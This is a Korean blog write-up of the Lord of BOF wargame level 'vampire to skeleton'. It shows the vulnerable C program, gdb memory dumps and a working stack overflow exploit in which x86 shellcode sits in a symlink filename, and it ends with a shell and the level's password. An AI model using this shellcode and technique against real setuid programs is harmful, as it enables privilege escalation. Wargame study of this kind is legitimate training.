wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

10. vampire → skeleton

Kortsec1 2020. 12. 19. 19:34

 

<skeleton.c>

[vampire@localhost vampire]$ cat -n skeleton.c 
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - skeleton
     4	        - argv hunter
     5	*/
     6	
     7	#include <stdio.h>
     8	#include <stdlib.h>
     9	
    10	extern char **environ;
    11	
    12	main(int argc, char *argv[])
    13	{
    14		char buffer[40];
    15		int i, saved_argc;
    16	
    17		if(argc < 2){
    18			printf("argv error\n");
    19			exit(0);
    20		}
    21	
    22		// egghunter 
    23		for(i=0; environ[i]; i++)
    24			memset(environ[i], 0, strlen(environ[i]));
    25	
    26		if(argv[1][47] != '\xbf')
    27		{
    28			printf("stack is still your friend.\n");
    29			exit(0);
    30		}
    31	
    32		// check the length of argument
    33		if(strlen(argv[1]) > 48){
    34			printf("argument is too long!\n");
    35			exit(0);
    36		}
    37	
    38		// argc saver
    39		saved_argc = argc;
    40	
    41		strcpy(buffer, argv[1]); 
    42		printf("%s\n", buffer);
    43	
    44	        // buffer hunter
    45	        memset(buffer, 0, 40);
    46	
    47		// ultra argv hunter!
    48		for(i=0; i<saved_argc; i++)
    49			memset(argv[i], 0, strlen(argv[i]));
    50	}

 

ํ™˜๊ฒฝ๋ณ€์ˆ˜, argv, buffer... ์ฃ„๋‹ค ์ดˆ๊ธฐํ™”์‹œํ‚ค๋„ค์š”

๋งˆ์ง€๋ง‰์— ๋‚จ์•„์žˆ๋Š” ๋ฐ์ดํ„ฐ๋Š” ๋จธ๊ฐ€ ์žˆ์„์ง€ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

 

[vampire@localhost vampire]$ gdb -q test
(gdb) b * main+368
Breakpoint 1 at 0x8048670
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/test `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿

Breakpoint 1, 0x8048670 in main ()
(gdb) x/i $eip
0x8048670 <main+368>:	leave  
(gdb) x/100wx $esp
0xbffffad8:	0x00000002	0x00000002	0x00000000	0x00000000
0xbffffae8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffaf8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffb08:	0x41414141	0xbfbfbfbf	0x00000000	0xbffffb54
0xbffffb18:	0xbffffb60	0x40013868	0x00000002	0x08048450
0xbffffb28:	0x00000000	0x08048471	0x08048500	0x00000002
0xbffffb38:	0xbffffb54	0x08048390	0x080486ac	0x4000ae60
0xbffffb48:	0xbffffb4c	0x40013e90	0x00000002	0xbffffc4b
0xbffffb58:	0xbffffc5e	0x00000000	0xbffffc8f	0xbffffcb1
0xbffffb68:	0xbffffcbb	0xbffffcc9	0xbffffce8	0xbffffcf8
...
0xbfffff88:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffff98:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffffa8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffffb8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffffc8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffffd8:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfffffe8:	0x6f682f00	0x762f656d	0x69706d61	0x742f6572
0xbffffff8:	0x00747365	0x00000000	Cannot access memory at address 0xc0000000
(gdb) x/s 0xbfffffe8
0xbfffffe8:	 ""
(gdb) 
0xbfffffe9:	 "/home/vampire/test"

 

์ข…๋ฃŒ ์ง์ „์— break point๋ฅผ ๊ฑธ์–ด์ค€ ๋’ค, ํ™•์ธํ•ด๋ณด๋ฉด ํ”„๋กœ๊ทธ๋žจ ์ด๋ฆ„๋งŒ์ด ๋‚จ์•„์žˆ๋„ค์š”.

orge๋ฌธ์ œ์™€ ๊ฐ™์ด ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ์ด์šฉํ•˜์—ฌ ํŒŒ์ผ๋ช…์— ์‰˜ ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด์•ผ๊ฒ ์ฃ .

 

ํ”„๋กœ๊ทธ๋žจ์ด ์‹คํ–‰๋˜๋ฉด์„œ์˜ ์Šคํƒ ๋ ˆ์ด์•„์›ƒ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ์ฃผ์„ธ์š”

https://www.win.tue.nl/~aeb/linux/hh/stack-layout.html

 

Stack layout

Intro This page shows by example the stack layout for an ELF program on the i386 architecture. Program startup When a program is started, the first part of the job is done by the kernel, in the code for the execve system call (do_exec(), load_elf_binary())

www.win.tue.nl

 

 

 

 ln -s {๋Œ€์ƒ ๊ฒฝ๋กœ} {๋งํฌ ๊ฒฝ๋กœ} 

 

symbolic link

 

 

๊ณต๊ฒฉ์„ ์œ„ํ•ด 0x2f๊ฐ€ ์—†๋Š” ์‰˜ ์ฝ”๋“œ๊ฐ€ ์ค€๋น„๋ผ์žˆ์–ด์•ผ๊ฒ ๋„ค์š”.

+) ์•„๋‹ˆ๋ฉด 0x2f๋งˆ๋‹ค ๋Š์–ด์„œ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์ถ”๊ฐ€ํ•ด์ค€๋‹ค๊ฑฐ๋‚˜...

 

 

0x2f๊ฐ€ ์—†๋Š” ์‰˜ ์ฝ”๋“œ ๊ฒ€์ƒ‰ํ•ด๋ณด์‹œ๋ฉด ๋งŽ์ด ๋‚˜์˜ต๋‹ˆ๋‹ค.

๊ทธ๋ž˜๋„ ์ €๋Š” ์ง์ ‘ ๋งŒ๋“ค์–ด์„œ ์‚ฌ์šฉํ•˜์‹œ๋Š” ๊ฑธ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์€ ์ œ๊ฐ€ ๋”ฐ๋กœ ํฌ์ŠคํŒ…ํ•ด๋‘์—ˆ์œผ๋‹ˆ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

2020/12/19 - [system hacking/techniques] - shellcode (0x2f ์—†์• ๊ธฐ)

 

 

 

 

[vampire@localhost vampire]$ ln -s test `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ ls -l
total 36
lrwxrwxrwx    1 vampire  vampire         4 Dec 13 19:12 1๓ฟฟ?โถฎ.shf???P¸.bin@P?แฒ€PS?แฎฟหฟ -> test
-rwsr-sr-x    1 skeleton skeleton    12752 Mar  3  2010 skeleton
-rw-r--r--    1 root     root          821 Mar 29  2010 skeleton.c
-rwsr-sr-x    1 vampire  vampire     12752 Dec 13 14:19 test

 

์ •ํ™•ํ•œ ์ฃผ์†Œ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด testํŒŒ์ผ์„ ๋งŒ๋“ค์–ด ๋งํฌ ๊ฑธ์–ด์ค€ ๋’ค, ๋””๋ฒ„๊น…ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค.

 

[vampire@localhost vampire]$ `python -c 'print "./\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost vampire]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/s 0xbfffffd5
0xbfffffd5:	 ""
(gdb) 
0xbfffffd6:	 ""
(gdb) 
0xbfffffd7:	 "./1๓ฟฟ\211โถฎ.shf\005\001\001P¸.bin@P\211แฒ€PS\211แฏœ013ฬœ200"
(gdb) 
0xbffffffc:	 ""
(gdb) 
0xbffffffd:	 ""
(gdb) 
0xbffffffe:	 ""
(gdb) 
0xbfffffff:	 ""
(gdb) 
0xc0000000:	 <Address 0xc0000000 out of bounds>
(gdb) 
0xc0000000:	 <Address 0xc0000000 out of bounds>

 

 

0xbfffffd7์— ํŒŒ์ผ๋ช…์ด ๋“ค์–ด๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ์‚ฌ์šฉํ•  ์ •ํ™•ํ•œ ์ฃผ์†Œ๋Š” 0xbfffffd7+2("./"๋ฅผ ์ œ์™ธํ•œ ๋ถ€๋ถ„)๊ฐ€ ๋˜๊ฒ ๋„ค์š”.

 

๊ณต๊ฒฉ์ฝ”๋“œ
argv[0] argv[1]
./{shellcode} dummy (44) 0xbfffffd9

 

 

์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์ด ์‹คํ–‰๋˜๋Š” ๋ชจ์Šต์ž…๋‹ˆ๋‹ค.

[vampire@localhost vampire]$ rm `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
[vampire@localhost vampire]$ `python -c 'print "./\x31\xc0\x50\x89\xe2\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x40\x50\x89\xe3\x31\xc0\x50\x53\x89\xe1\xb0\x0b\xcd\x80 " + "A"*44 + "\xd9\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAฺฟÿ¿
bash$ whoami
skeleton
bash$ my-pass
euid = 510
shellcoder
bash$ 

 

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

9. troll โ†’ vampire  (0) 2020.12.14
8. orge โ†’ troll  (0) 2020.12.13
7. darkelf โ†’ orge  (0) 2020.12.13
6. wolfman โ†’ darkelf  (0) 2019.05.02